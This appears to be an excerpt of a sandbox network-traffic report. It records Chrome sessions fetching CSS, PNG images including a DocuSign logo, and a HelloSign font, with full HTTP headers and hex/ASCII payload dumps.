2025-01-15 12:07:59 UTC	10463	IN	Data Raw: 70 61 64 64 69 6e 67 2d 74 2d 39 30 2e 6d 2d 66 65 61 74 75 72 65 2d 67 72 69 64 2d 2d 73 75 62 2d 68 65 61 64 65 72 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 39 30 70 78 7d 2e 6c 2d 61 70 69 2d 64 6f 63 73 20 2e 66 6c 65 78 2d 76 69 64 65 6f 2e 6c 2d 70 61 64 64 69 6e 67 2d 62 2d 39 30 2c 2e 6c 2d 61 70 69 2d 64 6f 63 73 20 2e 6d 2d 73 69 67 6e 2d 6d 6f 62 69 6c 65 20 68 35 2e 6c 2d 70 61 64 64 69 6e 67 2d 62 2d 39 30 2e 6d 2d 66 65 61 74 75 72 65 2d 67 72 69 64 2d 2d 68 65 61 64 65 72 2c 2e 6c 2d 61 70 69 2d 64 6f 63 73 20 2e 6d 2d 73 69 67 6e 2d 6d 6f 62 69 6c 65 20 68 35 2e 6c 2d 70 61 64 64 69 6e 67 2d 62 2d 39 30 2e 6d 2d 66 65 61 74 75 72 65 2d 67 72 69 64 2d 2d 73 75 62 2d 68 65 61 64 65 72 2c 2e 6c 2d 61 70 69 2d 64 6f 63 73 20 70 2e 6c 2d 70 61 64 Data Ascii: padding-t-90.m-feature-grid--sub-header{padding-top:90px}.l-api-docs .flex-video.l-padding-b-90,.l-api-docs .m-sign-mobile h5.l-padding-b-90.m-feature-grid--header,.l-api-docs .m-sign-mobile h5.l-padding-b-90.m-feature-grid--sub-header,.l-api-docs p.l-pad

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49751	18.245.86.21	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:07:58 UTC	661	OUT	GET /imgs/1000px/freeware-license-terms-D834.png HTTP/1.1 Host: templates.business-in-a-box.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-53c4ef7e378d42c99976378cc91a92e3.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:07:59 UTC	569	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 110187 Connection: close Date: Wed, 15 Jan 2025 12:08:00 GMT Last-Modified: Fri, 20 Nov 2020 18:30:07 GMT ETag: "cd1e9026418b81f2d6ac4e2bba519084" x-amz-server-side-encryption: AES256 Cache-Control: max-age=86400 x-amz-version-id: j85o8bKLY4xfgqX6ye5U4CVUqquboK7J Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 cae5c5323232533718f592c973f01432.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P6 X-Amz-Cf-Id: ypM_nEoTHJBfPLwjdkATgslUcq3SeOEljWR_7rI6FcSLt-28QJkNoQ==
2025-01-15 12:07:59 UTC	15451	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 e8 00 00 05 0a 08 03 00 00 00 42 21 ab 65 00 00 00 09 70 48 59 73 00 00 01 f4 00 00 01 f4 00 c4 04 38 07 00 00 00 4b 50 4c 54 45 ff ff ff 02 02 02 24 24 24 d9 d9 d9 ef ef ef 2d 2d 2d 93 93 93 fc fc fc 10 10 10 f7 f7 f7 e1 e1 e1 85 85 85 b9 b9 b9 1a 1a 1a cf cf cf 4e 4e 4e 42 42 42 36 36 36 c4 c4 c4 69 69 69 77 77 77 a0 a0 a0 e8 e8 e8 5c 5c 5c ad ad ad 97 51 3a fd 00 00 20 00 49 44 41 54 78 da ec dd 89 72 a3 48 16 85 61 c4 be ef db fb 3f e9 70 6f 2e 80 2c bb 5c d5 d3 23 c7 d4 ff 55 44 87 84 20 59 82 03 99 49 e2 0e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: PNGIHDRB!epHYs8KPLTE$$$---NNNBBB666iiiwww\\\Q: IDATxrHa?po.,\#UD YI
2025-01-15 12:07:59 UTC	1478	IN	Data Raw: 36 60 60 6f a1 af c8 b4 18 9f 81 7e a4 6e aa a4 6b 6e a6 16 d7 91 63 41 7e 53 b1 eb 28 3c 97 34 e9 12 3e fa 61 92 2a 01 40 e5 74 e6 05 74 38 00 94 ee 66 72 49 ae 3b 66 de c1 48 09 a0 27 5d a7 da 75 57 fd 39 2f de bf 80 6e e6 4d 2d fd b4 c1 ec 39 b4 55 3f ac 3a af 49 4e 37 04 66 07 6a 48 62 75 78 d9 cf 38 10 0a 39 bd 4b 40 7f 9e 55 07 8a 1b 42 9a 3d a3 a4 e4 d5 93 af 5e 6d 0b f0 83 9e eb 32 f8 e9 50 f7 8c 22 34 46 5a 64 47 4a aa d9 92 67 88 ef 3f 01 b5 3b 9c a9 7d e6 fa 3b 7f ed 18 3d 01 fd ec fb fe 38 c2 3a 6c e9 a4 e9 3b 27 02 0e 2b 79 49 dd 7e ac 99 55 86 c6 a0 3d d2 38 fd 67 a0 6b f2 5b 3b 4e 75 95 18 75 cc e5 d9 69 e8 64 28 65 54 40 6f 0c 6e 56 51 30 34 d6 b4 97 f3 ff 08 e8 49 88 8f 40 cf 72 27 5f 02 39 94 32 5e ae bb 9f 70 d1 66 a4 14 a0 27 13 ad d9 Data Ascii: 6``o~nkncA~S(<4>a*@tt8frI;fH']uW9/nM-9U?:IN7fjHbux89K@UB=^m2P"4FZdGJg?;};=8:l;'+yI~U=8gk[;Nuuid(eT@onVQ04I@r'_92^pf'
2025-01-15 12:07:59 UTC	16384	IN	Data Raw: 86 56 ca c7 11 54 05 84 a8 8b f6 61 2d c1 95 6b 3a fc 7e 1f 9f 1c 28 e1 bd 5d f1 17 2c c9 1e f5 b9 ac 7d 83 b9 0c 8f 62 75 cf 74 cd a5 2f cb 09 49 81 cb d6 88 aa 17 01 99 12 52 7f da 7d b7 56 52 f6 5d d9 a3 cb d0 4b aa bc ae 6c a4 b4 f4 a3 8c 11 aa a4 dd 57 77 5b e4 a6 1c 96 72 55 86 6a 53 b2 54 55 55 f9 e5 c8 7b 16 87 99 03 65 96 2f 62 ff b9 9e 4d 76 f7 31 d6 84 48 69 ed 6d d8 5a 3c 69 a3 d1 e7 10 5f 03 7b 9e 69 fe 1c f7 3b fa 57 47 4e d7 6d db 06 73 ed f2 8b 85 99 66 84 c9 c6 6c fe 0b b7 18 66 4b 06 27 bb f0 a3 b6 d2 ff 6d cb eb 7f 73 96 07 3d f3 87 b3 fb 09 1d aa 7e be 4d d3 1d 3a 37 f5 5f ae 91 5a 21 d9 e8 07 36 07 86 f9 7f 25 2e db d3 13 e9 9b a5 3b 38 fb b5 3b 50 fd 8f 42 18 86 61 18 86 61 18 e6 77 61 70 6d 72 a3 b5 d1 97 03 ef 89 b4 69 f4 97 b7 af Data Ascii: VTa-k:~(],}but/IR}VR]KlWw[rUjSTUU{e/bMv1HimZ<i_{i;WGNmsflfK'ms=~M:7_Z!6%.;8;PBaawapmri
2025-01-15 12:07:59 UTC	16384	IN	Data Raw: 97 f6 c6 92 50 6b af 1b 0d 24 f5 0d f9 35 0a 7d 6f 47 74 b4 e8 cf f4 6d 05 e8 d5 0e 08 6e 24 97 fe 66 07 7e b0 c7 48 1a 23 32 e9 ce 52 f3 b4 f1 0b 98 77 64 54 55 f3 09 74 b1 ca 1d 4a a6 fb 50 44 1b 2a d0 69 a0 a7 b2 7c 44 5f 4d 8c 4a 74 48 9f f7 9e be f8 0b 04 c7 f3 97 53 c6 3d 82 ff 10 96 5e f2 5d 41 71 66 0e 04 74 53 a6 3a a4 11 93 19 fa c7 a6 ee 35 bb 59 fe 0f 68 d5 ac 27 d9 32 c2 13 d0 e3 99 a1 43 9c 4a dd 66 5a ad dd cd 34 c3 16 df ae 54 26 97 b1 19 47 73 56 5a 97 9f 59 5b a8 7a 4e 23 d0 57 a0 8f 34 ad 95 5b 77 01 bd a2 e3 4a a6 f8 66 8d de e5 ec 63 03 4d d8 68 b1 31 b6 f9 8b 55 93 8c 29 f4 f4 61 91 e6 d9 ad 12 39 9e d8 bf 3d 3d 50 e5 ca 6e 85 d6 03 32 20 b9 87 25 1c d9 61 58 b7 1a 1c a5 77 bb 4a a4 99 2a 3b f3 fe f6 1f e4 b1 ec 38 14 fe 60 c4 3d 01 Data Ascii: Pk$5}oGtmn$f~H#2RwdTUtJPDi\|D_MJtHS=^]AqftS:5Yh'2CJfZ4T&GsVZY[zN#W4[wJfcMh1U)a9==Pn2 %aXwJ;8`=
2025-01-15 12:07:59 UTC	16384	IN	Data Raw: 6a 98 54 9f 1a 17 45 74 9e fe 6e 8f 5e d3 d3 97 63 e7 39 3a 4b 94 fa 1e 05 5c 82 a4 a5 91 03 57 89 d8 11 43 b3 d4 47 33 e8 39 f7 bb ae 44 37 13 9a d2 2c c6 e1 3c 14 66 21 56 90 e4 92 c3 31 69 b2 06 5f 76 a2 b5 81 f9 f9 9b e8 18 98 79 c4 1e 65 9e 32 aa a4 c0 5f c8 0f fe c1 4d 1b 20 b9 92 95 e8 c6 be 04 c0 e9 b7 00 f3 e7 6e a1 78 de d1 b2 6a 54 c2 85 7d 4f 15 7f 46 55 f3 84 52 2d 90 ab 84 36 a5 73 0a ea 9b 68 b7 93 c5 40 2b 8a 38 5f 64 a2 8f 47 ad d4 50 02 28 ee 0a b8 6d a4 93 8e 44 9f 4c f3 8a 12 20 80 b1 2f fd b7 d3 da d4 7d 13 fd 58 f0 7d 74 12 35 ac 10 63 c4 20 c2 8c 08 df cb 03 de 98 79 e1 bf ae ba 05 f4 11 4f 25 9a fd 81 cb 16 70 f1 29 9b 7c 71 eb 02 66 c4 6f a2 57 3f d1 75 a1 0a 14 c5 61 5d 08 2d 3e 1f 44 ef b3 a6 07 a0 d3 b6 97 0c 75 83 49 c5 f3 41 Data Ascii: jTEtn^c9:K\WCG39D7,<f!V1i_vye2_M nxjT}OFUR-6sh@+8_dGP(mDL /}X}t5c yO%p)\|qfoW?ua]->DuIA
2025-01-15 12:07:59 UTC	3072	IN	Data Raw: 63 78 e2 82 eb a3 3e 94 59 81 68 66 d7 73 bc f0 89 da a0 b9 40 a0 2b 8a b6 30 38 2b 36 06 ab 30 29 9e f8 4b f7 46 61 ee be 3e 41 38 65 11 6d e7 93 b2 6e 20 4d 9a 5a 97 e0 6b ea f3 93 8a a2 26 f4 20 b0 38 fc 77 cd b0 45 89 7b 40 09 37 55 35 fc 9c cf c2 4f 91 04 c6 6e 9a e8 03 68 84 1d 15 65 6c 9d 1d 8e 92 bb 5a 89 72 71 cf a6 fd 0a 72 df b5 fc 64 3b 01 46 3f 68 a3 b8 c8 52 35 5f a7 b4 1a 6c ca 0a 39 d7 86 fe 60 73 23 39 6d e5 26 4d 9c 57 35 f6 a7 68 d6 15 1c 40 22 f9 6a a8 92 e7 7c 97 47 15 00 7d c8 6e bf 1a b7 45 d3 d1 d7 e2 13 72 25 fc 42 40 17 c3 9a 59 5b b3 73 d6 94 4e cf 85 35 2b 4d 0d 12 cd f1 ff dc 04 51 49 60 b1 a1 39 f4 de ec e5 41 7d ac e2 06 fa 0f a6 61 64 81 79 de 58 8c 36 50 9b d7 66 63 41 06 e8 cc cb e8 83 74 8b 6e dd 23 14 4a a4 85 49 c9 ac Data Ascii: cx>Yhfs@+08+60)KFa>A8emn MZk& 8wE{@7U5OnhelZrqrd;F?hR5_l9`s#9m&MW5h@"j\|G}nEr%B@Y[sN5+MQI`9A}adyX6PfcAtn#JI
2025-01-15 12:07:59 UTC	16384	IN	Data Raw: e9 dc 77 dc 2b 27 f5 8e 4f cb d5 98 a8 26 dc 20 66 41 00 aa 90 40 cb ad e6 98 1f 72 d0 27 3d e9 f7 87 59 1e 46 3e 27 37 66 67 76 89 40 9f c5 6c 5c f6 cb 2a e8 5c 6c 13 5c 36 ed 6c 63 cb 03 e4 f3 e9 0d e8 e7 18 32 9e ee 8b 81 8c b8 67 f9 35 2f dc 67 e3 52 8d 60 1b 27 6d 90 9c 0a 9e 51 7e cc 9e 23 8f c9 32 fa cc 8d 4e 1d e8 6a 0c 50 0c 1e 21 be 83 f8 31 60 28 0a 00 1d 43 c1 48 00 87 97 8e e7 19 cf 0c 86 3b 2e f3 f0 f8 f4 4f 7a d2 6f 03 7d 1c 2d 03 6c 6d 78 66 bd 26 d7 3d 85 5d be 98 e3 8c 80 3e 00 0e 3b 1f cb 0e 88 17 47 09 ee 68 40 67 c1 ab 97 0a 39 e1 af 24 c2 a6 12 d2 b5 52 b0 28 92 4b e8 21 a7 84 11 13 28 87 c5 01 81 0e 99 91 31 a5 bb ee 8a c8 d0 b8 13 18 78 f6 c2 50 2f 72 dd f1 34 6e ee c0 3b 08 51 66 00 3b 8c f3 96 38 65 6c 38 9f d6 7b d2 93 7e 1b e8 Data Ascii: w+'O& fA@r'=YF>'7fgv@l\*\l\6lc2g5/gR`'mQ~#2NjP!1`(CH;.Ozo}-lmxf&=]>;Gh@g9$R(K!(1xP/r4n;Qf;8el8{~
2025-01-15 12:07:59 UTC	16384	IN	Data Raw: 18 ef bb e6 4a 83 88 5b 3b 8b bc 12 3e c9 98 71 f2 e8 5f c5 1c 5f 06 6d c3 90 8b ea a2 ea 99 b4 98 e0 67 a0 af 47 84 1f f9 3c 07 72 33 31 3a 2d ad 8a f3 12 f7 4d b3 38 c6 41 8c e5 78 46 97 54 d9 d6 d2 19 9d b6 04 1c 71 87 46 bf a9 b2 bb 5c 54 8f 23 8c 12 b5 cc dd 41 42 3b 14 96 55 06 7b 18 24 ce dc e0 96 96 53 2f e8 61 e7 c7 b5 fa 2f 4a 33 0a ac 75 5e dc 2c 3a ef fb 82 65 8c 79 75 48 6c 1b 55 d6 ac 6d b4 c5 18 24 72 e1 76 d6 73 db ee 55 77 69 55 a7 a8 5a 4f fa 09 ba 48 2d f8 d4 c5 81 df 5d 5e 71 cb bc 7c f3 8e 12 0a 7e 24 a3 6f 79 e8 33 7a 2d 53 80 6e d1 8b 1b 96 0d 07 8c d6 a5 4b 2f 16 a8 5f f4 dc 76 10 15 55 a4 6b 86 f0 03 51 c8 8a 2e 93 12 dd 26 87 f9 44 13 5d a1 1b e2 51 7d d2 ef b5 f1 82 ee 20 47 f1 9f 16 25 1e 4d 09 32 73 c7 69 c3 45 f5 f2 20 7a 71 Data Ascii: J[;>q__mgG<r31:-M8AxFTqF\T#AB;U{$S/a/J3u^,:eyuHlUm$rvsUwiUZOH-]^q\|~$oy3z-SnK/_vUkQ.&D]Q} G%M2siE zq
2025-01-15 12:07:59 UTC	8266	IN	Data Raw: d4 a2 cb f8 33 47 52 68 a1 19 1f 4f 9f a8 0c 71 ee e8 fd 47 3b fa 56 99 8b 11 a2 53 62 5e ee 7d d4 ab 5e e7 43 3f de d1 e9 87 ee a1 7d 3c ee c0 c6 0f 76 f4 43 b7 e7 1d 5d ad 33 fd 1f 6f 1e 3b ba a8 95 b0 cb 7d c7 22 a5 b5 48 af c0 fb 7c 1e e1 76 d1 16 54 62 50 c1 71 81 29 0a 52 96 0e 73 e9 08 12 9f ec 53 26 f5 bc a3 67 1f b2 6f e8 0c 90 8c 29 81 fe ff 02 7c 5f 05 49 28 aa 2c a0 14 2f 6a fa 0a 77 0d 74 81 7c b5 6b 1a d1 35 9c 33 3a 1d f0 75 8c b9 49 fb 0e 97 5d 0e 55 77 09 f4 aa 53 47 a0 73 e6 2c 42 a4 ea 9a ab 9d 5f 0c 08 7e ab 85 8a cd 69 47 a7 e3 fc 3e 50 46 bd b6 a8 b2 ca 25 5d e5 3d 55 82 b1 a8 3c ae 7d 7a f9 67 51 90 7c a3 cc 35 16 ae 72 f8 b3 27 5f a1 30 b2 45 cd 74 ed 5b 9b 03 bd eb c0 d6 d2 4d 47 a0 33 4b 49 aa ae c2 35 8b fa f4 0d 17 d9 58 7e 17 Data Ascii: 3GRhOqG;VSb^}^C?}<vC]3o;}"H\|vTbPq)RsS&go)\|_I(,/jwt\|k53:uI]UwSGs,B_~iG>PF%]=U<}zgQ\|5r'_0Et[MG3KI5X~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49752	13.33.187.16	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:07:59 UTC	450	OUT	GET /3fcisxc3a6xz/docusign_logo_black_text_on_white_0.png/90872cd475f92acafc7c490c93976e40/ds-logo-on-white.png HTTP/1.1 Host: images.ctfassets.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:07:59 UTC	515	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 11460 Connection: close Date: Wed, 15 Jan 2025 08:11:09 GMT Last-Modified: Mon, 10 Jun 2024 21:10:48 GMT ETag: "a74f925f8c71704166ffa3433e9b96d5" Cache-Control: max-age=31536000 Server: Contentful Images API Access-Control-Allow-Origin: * X-Cache: Hit from cloudfront Via: 1.1 5f82872daec754c74bbd4ef1bc7f7314.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: 9sP1CrCZR3rxhjnEkeP3Di0uil7D5SSxtrAU3LcEHMrsrz39hx0NMg== Age: 14211
2025-01-15 12:07:59 UTC	11460	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 53 00 00 01 87 08 06 00 00 00 7c b3 1d 0f 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 2c 59 49 44 41 54 78 01 ed dd 3f ac 5d c7 7d 27 f0 51 60 17 2b 03 6b aa b0 5a 92 59 60 1b 05 10 d5 38 5b 85 62 17 20 09 48 35 76 49 31 75 00 8a 4d 02 6c 61 92 ee 12 04 20 09 18 70 b1 08 28 36 09 e2 86 e4 22 ed 82 62 1a 23 49 41 09 1b 63 bb 50 5a 6c b1 31 10 50 2a ac 2d 52 78 f9 bd ca 38 4f f4 e3 e3 9b 7b e6 fc 7d 9f 0f f0 fc 28 99 7a f7 be 39 73 ce 3d f3 3d bf 99 79 ed 97 cf 15 00 00 00 00 8e e5 37 0a 00 00 00 00 c7 26 4c 01 00 00 00 68 20 4c 01 00 00 00 68 20 4c 01 00 00 00 68 20 4c 01 00 00 00 68 20 4c Data Ascii: PNGIHDRS\|pHYssRGBgAMAa,YIDATx?]}'Q`+kZY`8[b H5vI1uMla p(6"b#IAcPZl1P*-Rx8O{}(z9s==y7&Lh Lh Lh Lh L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49754	3.161.82.101	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:00 UTC	630	OUT	GET /5be974e/build/a6d09f4028ea300af1bd.ttf HTTP/1.1 Host: cdn.hellosign.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://archive1.diqx8fescpsb0.amplifyapp.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://cdn.hellosign.com/5be974e/build/signer.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:01 UTC	605	IN	HTTP/1.1 200 OK Content-Type: font/ttf Content-Length: 767752 Connection: close Date: Wed, 15 Jan 2025 12:08:02 GMT Last-Modified: Wed, 08 Jan 2025 07:36:13 GMT ETag: "a6895faa7a3a5985877a1e4900faadf2" x-amz-server-side-encryption: AES256 x-amz-version-id: bvdFDnYtiGfhcdkaD0Lfgn7ys7VgCUwP Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 9ceaac5e4cbf8702556b2c925b200af8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P10 X-Amz-Cf-Id: 8TGLuCngbPjuEmXVYKMY6Z4rNqzd2hDzFyYzdKurkVuUihZ6-4ol9w== Access-Control-Allow-Origin: * Access-Control-Expose-Headers: *
2025-01-15 12:08:01 UTC	15779	IN	Data Raw: 00 01 00 00 00 18 01 00 00 04 00 80 44 53 49 47 ac 59 19 4f 00 0a e3 48 00 00 15 70 47 44 45 46 89 d5 8d 49 00 0a f8 b8 00 00 02 c2 47 50 4f 53 8f e0 1e fb 00 0a fb 7c 00 00 9f f2 47 53 55 42 a1 ee fb a2 00 0b 9b 70 00 00 1b 76 4a 53 54 46 6d 2a 69 06 00 0b b6 e8 00 00 00 1e 4c 54 53 48 e4 93 6b 53 00 00 37 3c 00 00 0d 39 4f 53 2f 32 20 55 3a 67 00 00 02 08 00 00 00 60 50 43 4c 54 fd 7b 3e 43 00 0a e3 10 00 00 00 36 56 44 4d 58 50 92 6a f5 00 00 44 78 00 00 11 94 63 6d 61 70 82 e3 ce 2f 00 01 93 54 00 00 21 9e 63 76 74 20 a1 1c d7 eb 00 01 c7 24 00 00 06 54 66 70 67 6d cc 79 59 9a 00 01 b4 f4 00 00 06 6e 67 61 73 70 00 18 00 09 00 0a e3 00 00 00 00 10 67 6c 79 66 07 02 2d ca 00 02 02 50 00 08 22 cc 68 64 6d 78 11 10 25 d5 00 00 56 0c 00 01 3d 48 68 65 61 Data Ascii: DSIGYOHpGDEFIGPOS\|GSUBpvJSTFm*iLTSHkS7<9OS/2 U:g`PCLT{>C6VDMXPjDxcmap/T!cvt $TfpgmyYngaspglyf-P"hdmx%V=Hhea
2025-01-15 12:08:01 UTC	1181	IN	Data Raw: 01 23 01 01 01 01 01 01 2c 28 2c 2c 2c 2c 2c 09 01 f7 01 14 c2 23 01 23 01 23 01 23 01 23 01 23 01 23 01 01 01 23 01 01 01 24 01 01 01 2e 2e 01 2e 01 01 01 2d 01 19 1c 01 05 16 01 01 01 01 01 01 01 2e 01 01 14 01 01 01 01 01 01 01 2f 01 1c 01 1c 03 2e 0c 01 1c 01 1c 1c 01 01 01 01 01 27 01 1a 01 01 ab 01 01 01 09 16 2a 01 2e 01 01 25 26 01 25 26 01 01 01 01 12 53 01 5d 01 01 01 01 1c 01 01 01 01 01 12 53 01 01 2e 37 25 26 25 26 0c 27 0c 27 3e ff 3e ff 12 24 12 24 2e 01 2e 01 2e 37 2e 37 01 2b 9a fe 01 09 2e 37 01 01 01 1c 01 25 26 01 01 12 24 01 12 24 12 24 12 24 95 c4 01 01 01 01 01 01 01 01 01 01 01 0b 01 01 01 01 53 12 01 01 01 01 01 01 01 01 01 01 01 01 16 16 16 01 01 01 01 01 11 1f 01 01 01 01 01 01 01 25 25 01 01 1a 01 01 01 01 01 01 01 01 2e 01 01 Data Ascii: #,(,,,,,########$...-./.'*.%&%&S]S.7%&%&''>>$$...7.7+.7%&$$$$S%%.
2025-01-15 12:08:01 UTC	16384	IN	Data Raw: 2e 16 2e 04 0a 01 1c 01 01 01 01 01 01 01 01 01 01 01 22 01 01 01 09 09 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 02 03 01 01 0b 28 28 01 0b 01 01 01 01 16 37 24 01 01 01 01 0a 01 01 01 01 25 25 14 29 20 01 20 c6 a4 63 01 01 0f 26 01 37 01 01 37 01 01 01 01 0b 01 01 02 01 01 01 15 1c 31 2c 01 2b 12 01 2a 01 01 01 01 01 01 01 32 32 01 01 01 01 01 01 01 31 12 32 19 32 32 2a 1a 12 01 31 2b 01 31 2b 2a 01 11 01 01 12 2b 31 2b 01 01 11 01 24 01 2a 01 01 23 01 01 01 01 01 01 01 01 01 29 29 01 01 01 01 01 01 01 01 03 01 01 01 11 01 01 01 01 01 01 01 19 01 01 01 01 01 01 01 01 01 01 01 01 2e 01 01 01 01 01 01 2e 16 01 01 01 01 01 2e 01 01 1c 01 01 01 01 01 01 01 01 1e 2e 2e 2e 25 26 01 01 01 01 01 01 14 01 01 01 01 Data Ascii: .."((7$%%) c&771,+2212221+1++1+$#))......%&
2025-01-15 12:08:01 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 09 08 09 08 09 08 09 08 09 08 09 08 09 08 09 08 09 08 09 08 09 08 09 08 0a 08 0a 08 0a 08 0a 08 0a 08 0a 08 0a 08 0a 08 03 03 03 03 0c 08 0c 08 0c 08 0c 08 0c 08 0c 08 0c 08 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0a 08 0a 08 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 09 07 09 07 09 07 09 08 03 03 0c 08 0a 08 0a 08 0a 08 0a 08 0a 08 00 00 00 00 08 05 0e 0a 09 07 09 07 0b 08 08 08 08 08 0a 08 0a 08 0a 08 0b 08 0c 08 0b 04 04 04 09 04 04 04 04 04 04 04 00 00 05 05 00 00 00 00 03 03 03 03 03 03 03 03 06 06 06 06 0a 09 0b 0b 04 04 0b 0b 04 04 0b 0b 04 04 0b 0b 04 04 0b 0b 04 04 0b 0b 04 04 0b 0b 04 04 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 05 05 05 Data Ascii:
2025-01-15 12:08:01 UTC	10224	IN	Data Raw: 0e 0c 0b 0c 14 0b 0e 0d 13 14 0f 11 0d 0c 12 0d 0d 0e 09 0c 0c 05 06 06 16 14 0e 0b 0c 0d 0c 0a 18 1a 11 00 00 00 00 00 00 00 00 00 00 00 00 00 09 00 06 00 00 07 0e 0d 0a 0c 0e 06 09 0e 0e 06 0c 0b 0b 0e 0e 06 08 0e 0d 0e 0d 0b 0b 0d 0c 11 0f 0c 0c 0c 06 0a 15 06 0c 0c 0b 0b 0d 11 11 11 11 0e 0e 0e 0d 0a 0c 0e 07 0a 0e 07 0c 0b 0b 0e 08 0e 0e 0d 0b 0d 0c 11 0f 06 0d 0b 0d 0e 00 00 00 00 08 08 09 0a 05 00 00 00 00 00 00 00 00 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 08 0d 12 12 07 12 0d 0d 0d 12 12 12 12 12 00 12 12 12 12 12 12 12 12 0f 12 12 12 11 11 06 06 12 12 12 12 0e 0d 0d 0d 0c 0c 13 16 09 0c 13 16 09 0c 0f 0e 09 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 00 00 00 00 00 12 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 18 12 12 12 12 12 12 12 12 12 Data Ascii:
2025-01-15 12:08:01 UTC	2554	IN	Data Raw: 11 12 11 0f 0f 12 10 16 15 0f 0f 0f 08 0d 1c 07 10 10 0f 0f 11 16 16 16 16 12 12 12 11 0d 10 13 09 0d 13 09 10 0f 0f 13 0b 12 12 11 0f 12 10 16 15 07 11 0f 11 12 00 00 00 00 0a 0a 0b 0d 07 00 00 00 00 00 00 00 00 11 11 11 11 11 11 11 11 11 11 11 0a 11 18 18 09 18 11 11 11 18 18 18 18 18 00 18 18 18 18 18 18 18 18 14 18 18 18 17 17 08 08 18 18 18 18 12 11 11 11 10 10 1a 1e 0d 10 1a 1e 0d 10 14 13 0c 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 00 00 00 00 00 18 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12 20 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 0a 0a 18 14 0d 07 07 07 07 0e 0e 07 07 14 13 08 08 07 07 17 17 08 08 09 0c 17 17 08 08 17 17 08 08 12 11 11 11 12 11 11 11 12 11 11 11 0b 0b 0b 0b 10 10 10 10 Data Ascii:
